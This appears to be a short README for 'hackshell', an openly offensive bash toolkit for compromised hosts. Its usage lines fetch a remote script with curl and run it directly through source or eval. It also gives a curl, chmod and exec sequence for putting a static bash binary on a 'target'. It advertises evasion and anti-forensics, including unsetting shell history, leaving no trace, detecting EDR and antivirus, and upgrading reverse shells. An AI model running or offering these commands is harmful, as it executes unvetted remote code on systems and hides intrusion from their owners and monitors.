Make BASH stealthy and hacker friendly with lots of bash functions
Usage:
source <(curl -SsfL https://thc.org/hs)
eval "$(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)"
Some features:
- unsets HISTFILE, SSH_CONNECT, wget/redis/mysql/less-HISTORY, ...
- Auto-Upgrates to PTY shell (if reverse shell)
- Creates hacker-friendly shortcuts, bash-functions and aliases
- Detects EDR/AV/SELinux/AppArmor/LKMs/...
- Static binary download by simple
bin <command>
(e.g.bin nmap
) - Does not write ANY data to the harddrive
- Leaves no trace
It works best with bash. Download BASH if there is no bash on your target:
URL="https://bin.pkgforge.dev/$(uname -m)/bash"
[ "$(uname -m)" == i686 ] && URL='https://github.com/polaco1782/linux-static-binaries/raw/refs/heads/master/x86-i686/bash'
curl -obash -SsfL "${URL}" && chmod 700 bash && ./bash --version && exec ./bash -il